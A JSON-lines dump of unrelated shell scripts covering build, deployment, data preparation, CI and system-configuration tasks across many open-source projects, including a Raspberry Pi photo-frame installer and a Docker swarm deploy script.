mapreduce.job.user.classpath.first=true \\\n-libjars $HADOOP_LIBJAR \\\n--morphline-file avro_solr_morphline.conf \\\n--output-dir $OUT_HDFS_DIR \\\n--log4j log4j.properties \\\n--verbose \"$AVRO_TABLE\" \\\n--zk-host $ZK_HOST \\\n--collection $SOLR_COLLECTION_TODAY \\\n--go-live\n\necho \"Create alias $SOLR_COLLECTION for $SOLR_COLLECTION_TODAY\"\ncurl -s \"\"\"$SOLR_HTTP_URL\"/admin/collections?action=CREATEALIAS\\&name=\"$SOLR_COLLECTION\"\\&collections=\"$SOLR_COLLECTION_TODAY\"\"\""} {"text": "#!/bin/bash\n#\n# Copyright (c) 2017 Intel Corporation\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to\n# deal in the Software without restriction, including without limitation the\n# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n# sell copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n# IN THE SOFTWARE.\n#\n\n# change into the directory containing this script\ncd $(dirname ${0:?})\n\n# change into the top level directory of the git repo tutorials path\ncd $(git rev-parse --show-toplevel)/tutorials\n\n# remove all PDF files\nfind -name \"*.pdf\" -exec rm \\{\\} \\;\n\n# build all PDF files\nfor NEXT in $(find -name \"*.tex\" | grep -v \"common/latex\")\ndo\n\tpushd $(dirname ${NEXT:?}) > /dev/null\n\t./build_tex.sh\n\tpopd > /dev/null\ndone\n\n# list the PDF files\nfind -name \"*.pdf\" -exec ls -l \\{\\} \\;"} {"text": "scripts/copy_to_ssd.sh\n#!/bin/bash\nif [ $USE_SSD -eq 1 ];then\n mkdir -p $SSD_DIR/imagenet/train \n echo \"copying train tar file to SSD...\"\n time cp $TRAIN_TAR_FILE $SSD_DIR\n\n echo \"extracting imagenet training data...\"\n cd $SSD_DIR/imagenet/train\n time tar -xf $SSD_DIR/ILSVRC2012_img_train.tar\n echo \"extracting imagenet training data subdirectories...\"\n time find . -name \"*.tar\" | while read NAME ; do mkdir -p \"${NAME%.tar}\"; tar -xf \"${NAME}\" -C \"${NAME%.tar}\"; rm -f \"${NAME}\";done\n DATASET_DIR=$SSD_DIR/imagenet\n \n #val data\n echo \"copying validation tar file..\"\n time cp $VAL_TAR_FILE $SSD_DIR\n\n mkdir -p $SSD_DIR/imagenet/val \n cd $SSD_DIR/imagenet/val\n\n # echo \"extracting val tar file\"\n time tar -xf $SSD_DIR/ILSVRC2012_img_val.tar.1\n\n echo \"prepping val data..\"\n\n cp $VAL_PREP_SCRIPT_PATH ./\n\n time bash valprep.sh\nfi"} {"text": "GEOS-ESM/Ocean-LETKFrun/ECMWF_SETUP/RUN/postprocess_ens.sh\n#!/bin/bash\nset -ex\n\nmodule load cdo\n\nDSTDIR=/home/rd/dasp/scratch/WORK\ncd $DSTDIR\n\n# Get initial start time\nstart0=`date +%s`\n\n# Compute forecast ensemble mean and spread\nstart=`date +%s`\ncdo ensavg gs01???.restart.nc bmean.restart.nc &\ncdo ensstd gs01???.restart.nc bsprd.restart.nc &\ntime wait\nend=`date +%s`\nruntime0=$((end-start0))\nruntime=$((end-start))\necho \"runtime (guess) :: $runtime / $runtime0\"\n\n# Compute analysis ensemble mean and spread\nstart=`date +%s`\ncdo ensavg anal???.restart.nc amean.restart.nc &\ncdo ensstd anal???.restart.nc asprd.restart.nc &\ntime wait\nend=`date +%s`\nruntime0=$((end-start0))\nruntime=$((end-start))\necho \"runtime (analysis) :: $runtime / $runtime0\"\n\n# Sample timing:\n#\n#+ cdo ensavg gs01001.restart.nc gs01002.restart.nc gs01003.restart.nc gs01004.restart.nc gs01005.restart.nc bmean.restart.nc\n#cdo ensavg: Processed 2215784410 values from 25 variables over 5 timesteps ( 110.81s )\n#+ cdo ensstd gs01001.restart.nc gs01002.restart.nc gs01003.restart.nc gs01004.restart.nc gs01005.restart.nc bsprd.restart.nc\n#cdo ensstd: Processed 2215784410 values from 25 variables over 5 timesteps ( 182.50s )\n#++ date +%s\n#+ end=1510230506\n#+ runtime0=555\n#+ runtime=555\n#+ echo 'runtime (guess) :: 555 / 555'\n#runtime (guess) :: 555 / 555\n#++ date +%s\n#+ start=1510230506\n#+ cdo ensavg anal001.restart.nc anal002.restart.nc anal003.restart.nc anal004.restart.nc anal005.restart.nc amean.restart.nc\n#cdo ensavg: Processed 2215784410 values from 25 variables over 5 timesteps ( 117.63s )\n#+ cdo ensstd anal001.restart.nc anal002.restart.nc anal003.restart.nc anal004.restart.nc anal005.restart.nc asprd.restart.nc\n#cdo ensstd: Processed 2215784410 values from 25 variables over 5 timesteps ( 122.81s )\n#++ date +%s\n#+ end=1510230909\n#+ runtime0=958\n#+ runtime=403\n#+ echo 'runtime (analysis) :: 403 / 958'\n#runtime (analysis) :: 403 / 958"} {"text": "#!/bin/bash\n\n# Display progress\n\ncurl http://localhost:5600/toast/Update%20l%C3%A4uft.%20Bitte%20nicht%20ausschalten.%20%200%%20\n\n# DEACTIVATE CRONTAB\n\ncrontab -r\n\n# HOUSEKEEPING\n\napt --fix-broken install\napt install curl -y\n\ncurl http://localhost:5600/toast/Update%20l%C3%A4uft.%20Bitte%20nicht%20ausschalten.%20%2010%%20\n\napt purge wolfram-engine scratch scratch2 nuscratch sonic-pi idle3 -y\napt purge smartsim java-common minecraft-pi libreoffice* -y\n\napt clean\napt autoremove -y\n\napt update\napt upgrade -y\napt autoremove -y\n\ncurl http://localhost:5600/toast/Update%20l%C3%A4uft.%20Bitte%20nicht%20ausschalten.%20%2020%%20\n\napt install curl xdotool unclutter sed git fbi python3-pip libatlas-base-dev libjpeg-dev zlib1g-dev libfreetype6-dev liblcms1-dev libopenjp2-7 libtiff5 python-cffi python-cryptography python3-cffi python3-cryptography python3-numpy python3-pillow python3-dev libhdf5-dev libhdf5-serial-dev libjasper-dev libjasper-dev -y\n\ncurl http://localhost:5600/toast/Update%20l%C3%A4uft.%20Bitte%20nicht%20ausschalten.%20%2035%%20\n\n# BOOTSTRAP\n\ntouch /boot/ssh\ncd /home/pi || exit\ngit clone https://github.com/MtnFranke/rpi-photo-frame.git\ntimedatectl set-timezone Europe/Berlin\n\ncurl http://localhost:5600/toast/Update%20l%C3%A4uft.%20Bitte%20nicht%20ausschalten.%20%2050%%20\n\n# CONFIGURATIONS\n\ncp /home/pi/rpi-photo-frame/conf/rc.local /etc/rc.local\nchmod +x /etc/rc.local\n\ncurl http://localhost:5600/toast/Update%20l%C3%A4uft.%20Bitte%20nicht%20ausschalten.%20%2075%%20\n\n# PHOTO FRAME\n\npython3 -m pip install --upgrade pip\ncd /home/pi/rpi-photo-frame || exit\npython3 -m pip install -r requirements.txt --upgrade\npython3 -m pip install gunicorn --upgrade\n\n# PERMISSIONS\n\ncurl http://localhost:5600/toast/Update%20l%C3%A4uft.%20Bitte%20nicht%20ausschalten.%20%2085%%20\nchmod -R 777 /home/pi/rpi-photo-frame\n\n# SERVICE\n\ncp /home/pi/rpi-photo-frame/scripts/kiosk.service /lib/systemd/system/kiosk.service\nsystemctl daemon-reload\nsystemctl enable kiosk.service\n\n# SPLASH\n\ncurl http://localhost:5600/toast/Update%20l%C3%A4uft.%20Bitte%20nicht%20ausschalten.%20%2095%%20\ncd /home/pi/rpi-photo-frame/doc/ || exit\nwget https://www.datenwissenschaften.com/resources/splash.png\ncp /home/pi/rpi-photo-frame/doc/splash.png /usr/share/plymouth/themes/pix/splash.png\n\n# GUI\n\nrm /etc/xdg/autostart/piwiz.desktop\ncp /home/pi/rpi-photo-frame/conf/autostart /etc/xdg/lxsession/LXDE-pi/autostart\ncp /home/pi/rpi-photo-frame/conf/desktop-items-0.conf /etc/xdg/pcmanfm/LXDE-pi/desktop-items-0.conf\ncp /home/pi/rpi-photo-frame/conf/01-disable-update-check /etc/chromium-browser/customizations/01-disable-update-check\n\n# REBOOT\n\ncurl http://localhost:5600/toast/Update%20abgeschlossen.%20Neustart...%20\n/sbin/shutdown -r -f"} {"text": "built-in/PyTorch/Official/cv/image_classification/DenseNet201_ID0453_for_PyTorch/run8p_densenet201.sh\nsource ./test/env_npu.sh\nexport RANK_SIZE=8\nrm -f nohup.out\n\nfor((RANK_ID=0;RANK_ID\nfunction run_configure {\n rm -rf $LOG\n cmd=\"${CONFIGURE} $*\"\n echo \"Executing ${cmd}\"\n $cmd 2>/dev/null > $LOG\n if test $? != 0 ; then\n echo \" Configure-line failed...($cmd)\" \n exit $?\n else\n echo \" PASSED\"\n echo \"\"\n fi\n}\n\nfunction run_xfail_configure {\n rm -rf $LOG\n cmd=\"${CONFIGURE} $*\"\n echo \"Executing ${cmd}\"\n $cmd 2>/dev/null > $LOG\n if test $? = 0 ; then\n echo \" Configure-line was expected to fail...($cmd)\" \n exit 1\n else\n echo \" PASSED (expected failure)\"\n echo \"\"\n fi\n}\n\nfunction test_configure {\n rm -rf $LOG_OUT $CORRECT_OUT\n#replaces newline: sed '{:q;N;s/\\n/ /g;t q}' \n sed -n '/checking for user-specified languages to support/,/disabled/p' $LOG | sed -n 's/.*\\( [-+] .*\\)/\\1/p' | sed '{:q;N;s/\\n/ /g;t q}' | sed 's/^[ \\t]*//;s/[ \\t]*$//' > $LOG_OUT\n# sed -n '/checking for user-specified languages to support/,/disabled/p' $LOG | sed -n 's/.*\\([-+] .*\\)/\\1/p' | sed '{:q;N;s/\\n/ /g;t q}' > $LOG_OUT\n echo \" actual: \" `cat $LOG_OUT`\n# echo \" -------------------------\"\n echo -e $1 > $CORRECT_OUT\n echo \" expected: \" `cat $CORRECT_OUT`\n diff -w $LOG_OUT $CORRECT_OUT\n if test $? != 0 ; then\n echo \"ERROR: language support configuration is broken\"\n exit $?\n fi\n echo \"\"\n}\n\n\nif test \"x$1\" = \"xtest\" ; then\nsource ${SCRIPT_DIR}/test_configure_binary_support.unit\nsource ${SCRIPT_DIR}/test_configure_c_support.unit\nsource ${SCRIPT_DIR}/test_configure_cxx_support.unit\nsource ${SCRIPT_DIR}/test_configure_cuda_support.unit\nsource ${SCRIPT_DIR}/test_configure_fortran_support.unit\nsource ${SCRIPT_DIR}/test_configure_java_support.unit\nsource ${SCRIPT_DIR}/test_configure_php_support.unit\nsource ${SCRIPT_DIR}/test_configure_opencl_support.unit\n\necho \"*********************************************\"\necho \" SUCCESS: language support configuration is working!\"\necho \"*********************************************\"\nfi\n\n#########################################################################################\n# Remove the test sandbox for testing configure lines\n#rm -rf ${TESTDIR}\n#########################################################################################"} {"text": "#!/usr/bin/env bash\nset -e\n\n# turn on swarm mode if it's not already on\ndocker swarm init 2> /dev/null || true\n\n####################\n# External Env Vars\n\nINDRA_AWS_ACCESS_KEY_ID=\"${INDRA_AWS_ACCESS_KEY_ID:-}\"\nINDRA_AWS_SECRET_ACCESS_KEY=\"${INDRA_AWS_SECRET_ACCESS_KEY:-}\"\nINDRA_DOMAINNAME=\"${INDRA_DOMAINNAME:-localhost}\"\nINDRA_EMAIL=\"${INDRA_EMAIL:-}\" # for notifications when ssl certs expire\nINDRA_ETH_PROVIDER=\"${INDRA_ETH_PROVIDER}\"\nINDRA_LOGDNA_KEY=\"${INDRA_LOGDNA_KEY:-abc123}\"\nINDRA_MODE=\"${INDRA_MODE:-release}\" # One of: release, staging, test-staging, or test-release\nINDRA_ADMIN_TOKEN=\"${INDRA_ADMIN_TOKEN:-}\" # pass this in through CI\n\n####################\n# Internal Config\n\ndir=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" >/dev/null 2>&1 && pwd )\"\nproject=\"`cat $dir/../package.json | grep '\"name\":' | head -n 1 | cut -d '\"' -f 4`\"\nregistry=\"`cat $dir/../package.json | grep '\"registry\":' | head -n 1 | cut -d '\"' -f 4`\"\n\nganache_chain_id=\"4447\"\nlog_level=\"3\" # set to 5 for all logs or to 0 for none\nnats_port=\"4222\"\nnode_port=\"8080\"\nnumber_of_services=\"7\" # NOTE: Gotta update this manually when adding/removing services :(\n\n####################\n# Helper Functions\n\n# Initialize new secrets (random if no value is given)\nfunction new_secret {\n secret=\"$2\"\n if [[ -z \"$secret\" ]]\n then secret=`head -c 32 /dev/urandom | xxd -plain -c 32 | tr -d '\\n\\r'`\n fi\n if [[ -z \"`docker secret ls -f name=$1 | grep -w $1`\" ]]\n then\n id=`echo \"$secret\" | tr -d '\\n\\r' | docker secret create $1 -`\n echo \"Created secret called $1 with id $id\"\n fi\n}\n\n# Get images that we aren't building locally\nfunction pull_if_unavailable {\n if [[ -z \"`docker image ls | grep ${1%:*} | grep ${1#*:}`\" ]]\n then\n # But actually don't pull images if we're running locally\n if [[ \"$INDRA_DOMAINNAME\" != \"localhost\" ]]\n then docker pull $1\n fi\n fi\n}\n\n########################################\n## Database Conig\n\nif [[ \"$INDRA_MODE\" == \"test\"* ]]\nthen\n db_volume=\"database_test_`date +%y%m%d_%H%M%S`\"\n db_secret=\"${project}_database_test\"\n new_secret \"$db_secret\" \"$project\"\n db_port='ports:\n - \"5432:5432\"\n '\nelse\n db_volume=\"database\"\n db_secret=\"${project}_database\"\n new_secret $db_secret\nfi\n\n# database connection settings\npg_db=\"$project\"\npg_host=\"database\"\npg_password_file=\"/run/secrets/$db_secret\"\npg_port=\"5432\"\npg_user=\"$project\"\n\nredis_url=\"redis://redis:6379\"\n\n########################################\n## Docker Image Config\n\nif [[ \"$INDRA_MODE\" == \"test\"* ]]\nthen registry=\"\"\nelse registry=\"${registry%/}/\"\nfi\n\nif [[ \"$INDRA_MODE\" == *\"staging\" ]]\nthen version=\"`git rev-parse HEAD | head -c 8`\"\nelif [[ \"$INDRA_MODE\" == *\"release\" ]]\nthen version=\"`cat $dir/../package.json | grep '\"version\":' | head -n 1 | cut -d '\"' -f 4`\"\nelse echo \"Unknown mode ($INDRA_MODE) for domain: $INDRA_DOMAINNAME. Aborting\" && exit 1\nfi\n\nethprovider_image=\"$registry${project}_ethprovider:$version\"\ndatabase_image=\"$registry${project}_database:$version\"\nlogdna_image=\"logdna/logspout:1.2.0\"\nnats_image=\"nats:2.0.0-linux\"\nnode_image=\"$registry${project}_node:$version\"\nproxy_image=\"$registry${project}_proxy:$version\"\nredis_image=\"redis:5-alpine\"\nrelay_image=\"$registry${project}_relay:$version\"\n\npull_if_unavailable \"$database_image\"\npull_if_unavailable \"$logdna_image\"\npull_if_unavailable \"$nats_image\"\npull_if_unavailable \"$node_image\"\npull_if_unavailable \"$proxy_image\"\npull_if_unavailable \"$redis_image\"\npull_if_unavailable \"$relay_image\"\n\n########################################\n## Ethereum Config\n\neth_mnemonic_name=\"${project}_mnemonic\"\n\nif [[ -z \"$INDRA_ETH_PROVIDER\" ]]\nthen echo \"An env var called INDRA_ETH_PROVIDER is required\" && exit 1\nelif [[ \"$INDRA_ETH_PROVIDER\" =~ .*://localhost:.* ]]\nthen chainId=\"$ganache_chain_id\"\nelse chainId=\"`curl -q -k -s -H \"Content-Type: application/json\" -X POST --data '{\"id\":1,\"jsonrpc\":\"2.0\",\"method\":\"net_version\",\"params\":[]}' $INDRA_ETH_PROVIDER | jq .result | tr -d '\"'`\"\nfi\n\necho \"eth provider: $INDRA_ETH_PROVIDER w chainId: $chainId\"\n\n# Prefer top-level address-book override otherwise default to one in contracts\nif [[ -f address-book.json ]]\nthen eth_contract_addresses=\"`cat address-book.json | tr -d ' \\n\\r'`\"\nelse eth_contract_addresses=\"`cat modules/contracts/address-book.json | tr -d ' \\n\\r'`\"\nfi\n\ntoken_address=\"`echo $eth_contract_addresses | jq '.[\"'\"$chainId\"'\"].Token.address' | tr -d '\"'`\"\n\nif [[ \"$chainId\" == \"$ganache_chain_id\" ]]\nthen\n eth_mnemonic=\"candy maple cake sugar pudding cream honey rich smooth crumble sweet treat\"\n new_secret \"$eth_mnemonic_name\" \"$eth_mnemonic\"\n eth_volume=\"chain_dev:\"\n number_of_services=$(( $number_of_services + 1 ))\n ethprovider_service=\"\n ethprovider:\n image: $ethprovider_image\n command: \\\"start\\\"\n environment:\n ETH_MNEMONIC: $eth_mnemonic\n ports:\n - 8545:8545\n volumes:\n - $eth_volume/data\n \"\n INDRA_ETH_PROVIDER=\"http://ethprovider:8545\"\n pull_if_unavailable \"$ethprovider_image\"\n MODE=${INDRA_MODE#*-} bash ops/deploy-contracts.sh\nfi\n\nallowed_swaps=\"[{\\\"from\\\":\\\"$token_address\\\",\\\"to\\\":\\\"0x0000000000000000000000000000000000000000\\\",\\\"priceOracleType\\\":\\\"UNISWAP\\\"},{\\\"from\\\":\\\"0x0000000000000000000000000000000000000000\\\",\\\"to\\\":\\\"$token_address\\\",\\\"priceOracleType\\\":\\\"UNISWAP\\\"}]\"\n\n########################################\n## Deploy according to configuration\n\necho \"Deploying node image: $node_image to $INDRA_DOMAINNAME\"\n\nmkdir -p ops/database/snapshots /tmp/$project\ncat - > /tmp/$project/docker-compose.yml <scripts/create-release.sh\n#!/usr/bin/env bash\n\nset -euo pipefail\n\n# shellcheck source=scripts/functions.sh\nsource \"$(dirname \"${BASH_SOURCE[0]}\")/functions\"\n\n# sketch:\n#\n# 1. download the binaries from the release\n# source is i.e. https://github.com/kubevirt/kubevirt/releases/tag/v0.17.2\n\n# 2. create release binaries that are consumable from krew (i.e. .tar.gz)\n# 3. calculate the sha256sums\n# 4. envsubst all of these into the virt.yaml\n# 5. test created install package on docker image\n\n[ \"$#\" -eq 0 ] && usage \"version must be provided!\"\n[ -z \"$1\" ] && usage \"version must be provided!\"\n\necho \"Downloading binaries:\"\necho $(download_virtctl_binaries \"$1\")\n\necho -e \"\\nCreating release packages for krew:\"\necho $(create_release_packages \"$1\")\n\necho -e \"\\nCreating manifest yaml file for krew:\"\necho $(create_krew_manifest_yaml \"$1\")\n\necho -e \"\\nTesting package install:\"\necho $(test_linux_install_on_docker \"$1\")\n\necho -e \"\\nCreating github release:\"\necho $(create_github_release \"$1\")\necho -e \"\\nRelease page is: https://github.com/kubevirt/kubectl-virt-plugin/releases/tag/$1\"\n\necho -e \"\\nCreating pull request:\"\necho $(create_pull_request \"$1\")"} {"text": "paper/test_cv_params.sh\n#!/bin/sh\nset -e # exit on first error\nfor ref in 100 200 400 800 1600; do\n\tfor cv in 0.25; do\n\t\tmake -f map_and_recycle.mk clean CV=\"$cv\" REF_CNT=\"$ref\"\n\t\tmake -f nucmer.sim.mk clean CV=\"$cv\" REF_CNT=\"$ref\"\n\t\t# make -f map_and_recycle.mk all CV=\"$cv\" REF_CNT=\"$ref\"\n\t\tmake -f nucmer.sim.mk all CV=\"$cv\" REF_CNT=\"$ref\"\n\tdone\ndone"} {"text": "#!/bin/bash\n\nif [ ! -r tasks/batch_task.csv ] ; then\n if [ ! -r spar/bin/activate ] ; then\n echo \"Cannot find spar virtual environment\"\n exit 1\n fi\n source spar/bin/activate\n mkdir tasks 2> /dev/null\n spar --duration 1 tasks\n rm -f tasks/batch_instace.csv\n deactivate\nfi"} {"text": "#!/usr/bin/env bash\n\n# Startup script to be run by /etc/rc.local if exists as root\n# Donot use it, its at experimental stage right now\n<< ////\n# ~~somehow chpst does not give superuser~~\nls /home \\\n| while read user; do\n startup_script=\"/home/$user/.config/startup\"\n if [[ -f \"$startup_script\" ]]; then\n chpst -u \"$user\" \"$startup_script\"\n fi\n done\n////\n\n# Check for superuser access\nif [[ $EUID -ne 0 ]]; then\n >&2 echo \"This script must be run as root\"\n exit 1\nfi\n\nrun_cmd() {\n command -v \"$1\" 1>/dev/null && \"$@\"\n}\n\n\n# Power saving\n\necho 5 > /proc/sys/vm/laptop_mode\necho 0 > /proc/sys/kernel/nmi_watchdog\necho 1500 > /proc/sys/vm/dirty_writeback_centisecs\n\necho 1 > /sys/module/snd_hda_intel/parameters/power_save\necho Y > /sys/module/snd_hda_intel/parameters/power_save_controller\n\necho powersave > /sys/module/pcie_aspm/parameters/policy # superpowersave\n\nrun_cmd ryzenadj --power-saving"} {"text": "ballPointPenguin/ansible-develop\n. $HOME/.asdf/asdf.sh\n. $HOME/.asdf/completions/asdf.bash\n\nplugins+=(asdf)"} {"text": "#!/usr/bin/env bash\nfunction set_home() {\n export PROJECT_PATH=$(pwd)\n export MOSAIC_API_PROJECT=photomosaic-api-v2\n export MOSAIC_MAKER_PROJECT=mock-mosaic-maker\n export TEST_PROJECT=photomosaic-bdds\n export DOCKER_IMAGE=ryanjvanvoorhis/mosaic-api\n}\n\nfunction go_home() {\n cd ${PROJECT_PATH}\n}\n\nfunction get_project() {\n go_home\n git clone https://github.com/rjvanvoorhis/${1}\n}\n\nfunction setup_local() {\n set_home\n export PYTHONPATH=.:$PROJECT_PATH\n export ADMIN_USERNAME=\"behave_admin_user\"\n export ADMIN_EMAIL=\"\"\n export USER_USERNAME=\"behave_basic_user\"\n export USER_EMAIL=\"\"\n export BEHAVE_USERNAME='behave_user'\n export BEHAVE_EMAIL=''\n\n export MONGODB_URI=mongodb://mongodb:27017\n export S3_PORT=81\n export MOCK_MOSAIC_EXTERNAL_PORT=5080\n export S3_ENDPOINT_URL=http://local-s3:80/\n export s3_EXTERNAL_URL=http://localhost:${S3_PORT}\n export FAAS_URL=http://mock-mosaic-maker:5080\n export FRONT_END_URL=http:localhost\n export MOSAIC_API_URL_INTERNAL=http://mosaic-api:5000/api/v1/photomosaic\n export MOSAIC_API_URL_EXTERNAL=http://localhost:5000/api/v1/photomosaic\n export FRONT_END_URL=http://localhost\n export MOSAIC_API_PORT=5000\n export MONGODB_PORT=27018\n export S3_PORT=81\n export MEDIA_BUCKET=images\n export S3_EXTERNAL_URL=http://localhost:${S3_PORT}\n export HEALTHCHECK_URL=${MOSAIC_API_URL_EXTERNAL}/system/health_check\n export S3_VOLUME_DIR=${PROJECT_PATH}/photomosaic-bdds/s3_volume\n export MONGODB_VOLUME_DIR=${PROJECT_PATH}/photomosaic-bdds/mongodb_volume\n}\n\nfunction build_image() {\n go_home\n export BUILD_TIME=$(date +\"%Y-%m-%dT%H-%M-%S\")\n docker-compose build\n # docker build -t ${1}:${BUILD_TIME} -t ${1}:latest .\n}\n\nfunction get_dependencies() {\n go_home\n sudo apt-get install curl\n get_docker_compose\n pip3 install -r requirements.txt\n rm -rf ${TEST_PROJECT} # ensure a fresh copy of the tests\n get_project ${TEST_PROJECT}\n cd ${TEST_PROJECT}\n pip3 install -r requirements.txt\n go_home\n}\n\nfunction get_docker_compose() {\n # sudo apt-get update\n # sudo apt-get install -o Dpkg::Options::=\"--force-confold\" --force-yes -y docker-engine\n sudo rm /usr/local/bin/docker-compose\n sudo curl -L \"https://github.com/docker/compose/releases/download/1.23.1/docker-compose-$(uname -s)-$(uname -m)\" -o /usr/local/bin/docker-compose\n sudo chmod +x /usr/local/bin/docker-compose\n docker-compose --version\n}\n\nfunction run_coverage() {\n go_home\n coverage run -m unittest discover tests\n export COVERAGE_STATUS=$?\n coverage report -m\n}\n\nfunction run_bdds() {\n cd ${PROJECT_PATH}/${TEST_PROJECT}\n behave\n export BDD_STATUS=${?}\n}\n\nfunction get_status_code() {\n echo $(curl -s -I -o /dev/null -w \"%{http_code}\" ${1})\n}\n\nfunction stop_containers() {\n docker stop $(docker ps -aq)\n}\n\nfunction launch_stack() {\n go_home\n stop_containers\n docker-compose down\n docker-compose up -d\n echo \"Waiting 5 seconds for system to settle down.\"\n poll_stack\n}\n\nfunction create_media_folder() {\n curl --request PUT \"${S3_EXTERNAL_URL}/${MEDIA_BUCKET}\"\n}\n\nfunction register_admin_user() {\n curl --request POST ${MOSAIC_API_URL_EXTERNAL}/register \\\n -H \"Content-Type: application/json\" \\\n --data \"{ \\\"username\\\": \\\"${ADMIN_USERNAME}\\\", \\\"password\\\": \\\"${}\\\", \\\"email\\\": \\\"${ADMIN_EMAIL}\\\"}\"\n}\n\nfunction validate_admin_user() {\n curl --request POST ${MOSAIC_API_URL_EXTERNAL}/validate \\\n -H \"Content-Type: application/json\" \\\n --data \"{ \\\"username\\\": \\\"${ADMIN_USERNAME}\\\", \\\"password\\\": \\\"${}\\\"}\"\n}\n\nfunction login_admin_user() {\n curl --request POST ${MOSAIC_API_URL_EXTERNAL}/validate \\\n -H \"Content-Type: application/json\" \\\n --data \"{ \\\"username\\\": \\\"${ADMIN_USERNAME}\\\", \\\"password\\\": \\\"${}\\\"}\"\n}\n\nfunction add_admin_role() {\n curl --request PATCH ${MOSAIC_API_URL_EXTERNAL}/users/${ADMIN_USERNAME}/role \\\n -H \"Content-Type: application/json\" \\\n --data '{\"role\": \"ADMIN\"}'\n}\n\n\nfunction poll_stack() {\n COUNTER=0\n while [[ ${COUNTER} -lt 10 ]]; do\n\tsleep 5\n load_base_data\n\tif [[ ${HEALTHCHECK_STATUS} = 200 ]]; then\n echo \"Stack has launched successfully\"\n\t break\n else\n\t echo \"Stack is still starting up, waiting for another 5 seconds\"\n let COUNTER=COUNTER+1\n fi\n done\n\n}\n\nfunction load_base_data() {\n export HEALTHCHECK_STATUS=$(get_status_code ${HEALTHCHECK_URL})\n if [[ ${HEALTHCHECK_STATUS} != 200 ]]; then\n\tif [[ $(curl ${HEALTHCHECK_URL} | jq -r '.s3_connection') != \"SUCCESS\" ]]; then\n create_media_folder\n fi\n else\n register_admin_user\n\tvalidate_admin_user\n\tadd_admin_role\n fi\n}\n\nfunction push_image() {\n echo \"${DOCKER_PASSWORD}\" | docker login -u \"${DOCKER_USERNAME}\" --password-stdin\n docker tag ${DOCKER_IMAGE}:${BUILD_TIME} ${DOCKER_IMAGE}:latest\n docker push ${DOCKER_IMAGE}:${BUILD_TIME}\n docker push ${DOCKER_IMAGE}:latest\n docker image ls\n docker logout\n}\n\nfunction travis_build() {\n setup_local\n get_dependencies\n run_coverage\n if [[ ${COVERAGE_STATUS} = 0 ]]; then\n\techo \"Unittests passed, building image and testing integration\"\n build_image \n launch_stack\n\trun_bdds\n\tif [[ ${BDD_STATUS} != 0 ]]; then\n echo \"Unittests passed but Integration Tests have failed\"\n\telse\n echo \"Success! All tests passed; pushing image\"\n push_image\n\tfi\n else\n echo \"Unittests have failed. Skipping build and Integration Tests\"\n fi\n}"} {"text": "infra/config-bastion.sh\n# Inject kubeconfig\nenv > /tmp/env\napt-get install sshpass > /tmp/install_log 2>&1\nbastion_ip=$(aws ec2 describe-instances --region us-west-2 --filters \"Name=tag:Name,Values=bastion*\" \"Name=instance-state-name,Values=pending,running\" --query \"Reservations[0].Instances[0].PrivateIpAddress\" --output text)\necho $bastion_ip > /tmp/bastion_ip\necho \"put -P /home/ubuntu/.kube/config /home/ubuntu/.kube/config\" > /tmp/batch\nsed -i \"s/kubernetes-admin@kubernetes/intro-to-k8s/g\" /home/ubuntu/.kube/config\nsshpass -p !_' sftp -oBatchMode=no -oStrictHostKeyChecking=no -b /tmp/batch ubuntu@$bastion_ip > /tmp/sftp_log 2>&1"} {"text": "#!/bin/sh\n\nAVAILABLE_GIT_HOOKS=\"applypatch-msg commit-msg fsmonitor-watchman p4-pre-submit post-applypatch post-checkout post-commit post-index-change post-merge post-receive post-rewrite post-update pre-applypatch pre-auto-gc pre-commit pre-push pre-rebase pre-receive push-to-checkout sendemail-validate update\"\n\nfor hook in ${AVAILABLE_GIT_HOOKS}; do\n\tln -fs proxy.sh /usr/local/etc/git-team/hooks/${hook}\ndone"} {"text": "tools/shaman_profiler/shaman_prof.sh\ngdb -quiet --command $(dirname \"$0\")/shaman_profiler.py --args \"$@\""} {"text": "#!/bin/bash\nset -e\n\nwhile [ true ]\ndo\n rsync --archive --delete --verbose --exclude-from=/etc/rsync-exclude.txt rsync://$1/wordpress-master/ /var/www/html\n sleep 10\ndone"} {"text": "# script to build the project with the appropriate flags\n\necho \"====================================\" &&\necho \"Grabbing the latest vm_attest...\" &&\n\nif rm -rf ../projects/vm-examples/apps/Arm/vm_attest ; then \n true\nelse\n echo \"The vm_attest app wasn't there.\"\nfi &&\n\necho \"...\" &&\ncp -r ../../vm_attest ../projects/vm-examples/apps/Arm &&\necho \"vm_attest updated.\" &&\necho \"Trying an initial build...\" &&\necho \"====================================\" &&\n\n\n#../init-build.sh -DCAMKES_VM_APP=vm_attest -DPLATFORM=qemu-arm-virt &&\nif ../init-build.sh -DCAMKES_VM_APP=vm_attest -DPLATFORM=qemu-arm-virt; then\n true\nelse\n echo \"====================================\" &&\n echo \"Initial build failed.\" &&\n echo \"Building cake and moving libs...\" &&\n echo \"====================================\" &&\n cd ../../vm_attest/components/CakeServer &&\n ./buildCakeDocker.sh &&\n cd - &&\n #../init-build.sh -DCAMKES_VM_APP=vm_attest -DPLATFORM=exynos5422 -DAARCH32=1\n ../init-build.sh -DCAMKES_VM_APP=vm_attest -DPLATFORM=qemu-arm-virt\nfi &&\necho \"====================================\" &&\necho \"Build succeeded.\" &&\necho \"Calling ninja...\" &&\necho \"====================================\" &&\nninja"} {"text": "#!/bin/bash -x\n\nPROJECT=\"sniff\"\nHOSTS=\"192.168.1.180 192.168.1.181\"\nFILES=\"lib src test mix.* make.* *.bat *.sh\"\nSCRIPT=`realpath $0`\n\nremote() {\n chmod a+x \"$SCRIPT\"\n for HOST in $HOSTS; do\n ssh $HOST mkdir -p .farm/$PROJECT\n 